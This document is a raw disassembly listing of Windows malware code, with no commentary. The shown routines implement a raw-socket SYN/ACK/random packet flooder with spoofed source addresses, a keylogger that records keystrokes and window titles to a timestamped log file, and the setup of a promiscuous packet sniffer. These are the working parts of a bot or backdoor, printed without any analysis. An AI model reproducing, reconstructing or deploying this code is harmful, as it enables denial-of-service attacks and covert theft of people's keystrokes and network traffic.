		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43F668
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43F668
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2600448h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2600098h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_401BA1:				; CODE XREF: sub_401A76+25Dj
					; sub_401A76+26Bj
		mov	[ebp+var_24], bx
		call	sub_41730A
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43F668
		mov	[ebp+var_34], ax
		call	sub_41730A
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730A
		or	edi, eax
		push	edi
		call	dword_43F668
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43F664
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43F668
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CE6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 2600098h
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D0F
		jl	loc_401BA1
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D0F
		jmp	loc_401BA1
; ---------------------------------------------------------------------------


loc_401CE6:				; CODE XREF: sub_401A76+247j
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4262B8
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_401D12
; ---------------------------------------------------------------------------


loc_401D0F:				; CODE XREF: sub_401A76+25Bj
					; sub_401A76+269j
		mov	ebx, [ebp+arg_8]


loc_401D12:				; CODE XREF: sub_401A76+78j
					; sub_401A76+297j
		push	[ebp+var_C]
		call	dword_43F700
		pop	esi


loc_401D1C:				; CODE XREF: sub_401A76+5Bj
		call	dword_43F5C8
		mov	eax, ebx


loc_401D24:				; CODE XREF: sub_401A76+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D28	proc near		; CODE XREF: sub_4019D7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730A
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A76
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D73
		push	1
		pop	eax


loc_401D73:				; CODE XREF: sub_401D28+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D82	proc near		; DATA XREF: sub_40EE72+2D38o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_424058
		call	edi
		push	eax
		call	sub_417300
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E4B
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_42642C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E2B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401E2B:				; CODE XREF: sub_401D82+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h


loc_401E4B:				; CODE XREF: sub_401D82+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC9
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4263E4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA9
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401EA9:				; CODE XREF: sub_401D82+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h


loc_401EC9:				; CODE XREF: sub_401D82+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F39
		lea	eax, [ebp+var_440]
		push	offset dword_4263B4
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F19
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401F19:				; CODE XREF: sub_401D82+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25F0962h
		nop


loc_401F39:				; CODE XREF: sub_401D82+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43F668
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi
		mov	[ebp+var_30], eax


loc_401F71:				; CODE XREF: sub_401D82+430j
		call	edi
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402235
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43F668
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FE4
		call	sub_41730A
		mov	esi, eax
		shl	esi, 8
		call	sub_41730A
		add	esi, eax
		shl	esi, 8
		call	sub_41730A
		add	esi, eax
		shl	esi, 8
		call	sub_41730A
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------


loc_401FE4:				; CODE XREF: sub_401D82+233j
		push	[ebp+var_240]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_20], eax


loc_401FFA:				; CODE XREF: sub_401D82+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_402018
		call	sub_41730A
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40201E
; ---------------------------------------------------------------------------


loc_402018:				; CODE XREF: sub_401D82+284j
		push	[ebp+var_B8]


loc_40201E:				; CODE XREF: sub_401D82+294j
		call	dword_43F668
		mov	[ebp+var_16], ax
		call	sub_41730A
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43F668
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43F664
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40206E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40206E:				; CODE XREF: sub_401D82+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40208E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40208E:				; CODE XREF: sub_401D82+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020CA
		call	sub_41730A
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41730A
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_4020CA:				; CODE XREF: sub_401D82+2EAj
					; sub_401D82+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43F668
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43F668
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021B7
		inc	[ebp+arg_0]
		jmp	loc_401F71
; ---------------------------------------------------------------------------


loc_4021B7:				; CODE XREF: sub_401D82+42Bj
		push	[ebp+var_4]
		call	dword_43F700
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_426344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402215
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_402215:				; CODE XREF: sub_401D82+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h


loc_402235:				; CODE XREF: sub_401D82+203j
		push	[ebp+var_4]
		call	dword_43F700
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4262E4
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4022A6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_4022A6:				; CODE XREF: sub_401D82+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25F0962h
		nop
sub_401D82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022C6	proc near		; CODE XREF: sub_4023A7+B4p
					; sub_4023A7+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		nop
		call	near ptr 2610000h
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		nop
		call	near ptr 260090Eh
		lea	eax, [ebp+var_114]
		push	offset asc_426C1C ; "\\"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset dword_42F688
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40232D
		push	1
		pop	eax
		jmp	short loc_4023A4
; ---------------------------------------------------------------------------


loc_40232D:				; CODE XREF: sub_4022C6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417956
		push	esi
		call	sub_417900
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4023A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_426BDC
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h


loc_4023A2:				; CODE XREF: sub_4022C6+A3j
		xor	eax, eax


loc_4023A4:				; CODE XREF: sub_4022C6+65j
		pop	esi
		leave
		retn
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023A7	proc near		; DATA XREF: sub_40EE72+1F95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43F604
		mov	ebx, 200h


loc_402402:				; CODE XREF: sub_4023A7+2C7j
		push	8
		nop
		call	near ptr 260086Bh
		call	dword_43F5F0
		cmp	eax, [ebp+var_8]
		jz	short loc_40248A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4172AE
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch


loc_40248A:				; CODE XREF: sub_4023A7+6Cj
		mov	[ebp+arg_0], offset aB ; "b"


loc_402491:				; CODE XREF: sub_4023A7+2BDj
		push	10h
		call	dword_43F548
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43F634
		test	ah, 80h
		jz	short loc_402529
		push	14h
		call	dword_43F548
		test	ax, ax
		jz	short loc_4024DA
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024DA
		cmp	edi, 40h
		jle	short loc_4024DA
		cmp	edi, 5Bh
		jge	short loc_4024DA
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_4024DA:				; CODE XREF: sub_4023A7+112j
					; sub_4023A7+117j ...
		push	14h
		call	dword_43F548
		test	ax, ax
		jz	short loc_402505
		test	esi, esi
		jge	short loc_402519
		cmp	edi, 40h
		jle	short loc_402505
		cmp	edi, 5Bh
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402505:				; CODE XREF: sub_4023A7+13Ej
					; sub_4023A7+147j ...
		test	esi, esi
		jge	short loc_402519
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_4023A7+142j
					; sub_4023A7+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402529:				; CODE XREF: sub_4023A7+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402659
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_402561
		call	sub_417AB0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402561:				; CODE XREF: sub_4023A7+1A5j
		call	sub_417AB0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402593
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------


loc_402593:				; CODE XREF: sub_4023A7+1C5j
		cmp	edi, 0Dh
		jnz	loc_40262B
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jz	loc_402659
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_4025D4:				; CODE XREF: sub_4023A7+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4172AE
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_402659
; ---------------------------------------------------------------------------


loc_40262B:				; CODE XREF: sub_4023A7+1EFj
		cmp	esi, 1
		jz	short loc_402644
		cmp	esi, 3
		jz	short loc_402644
		cmp	esi, 2
		jz	short loc_40263F
		cmp	esi, 4
		jnz	short loc_402659


loc_40263F:				; CODE XREF: sub_4023A7+291j
		push	[ebp+arg_0]
		jmp	short loc_40264B
; ---------------------------------------------------------------------------


loc_402644:				; CODE XREF: sub_4023A7+287j
					; sub_4023A7+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_40264B:				; CODE XREF: sub_4023A7+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4179D0
		pop	ecx
		pop	ecx


loc_402659:				; CODE XREF: sub_4023A7+12Ej
					; sub_4023A7+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_426BA4
		jl	loc_402491
		cmp	[ebp+var_4], 0
		jz	loc_402402
		push	[ebp+var_D8]
		call	sub_417076
		pop	ecx
		push	0
		nop
		call	near ptr 25F0962h
sub_4023A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402688	proc near		; DATA XREF: sub_40EE72+1DDBo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417B30
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43F668
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40275D
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427604
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402740
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_402740:				; CODE XREF: sub_402688+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h


loc_40275D:				; CODE XREF: sub_402688+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027E2
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4275C0
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BE
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_4027BE:				; CODE XREF: sub_402688+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h


loc_4027E2:				; CODE XREF: sub_402688+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43F614
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402865
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427578
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402841
		push	esi
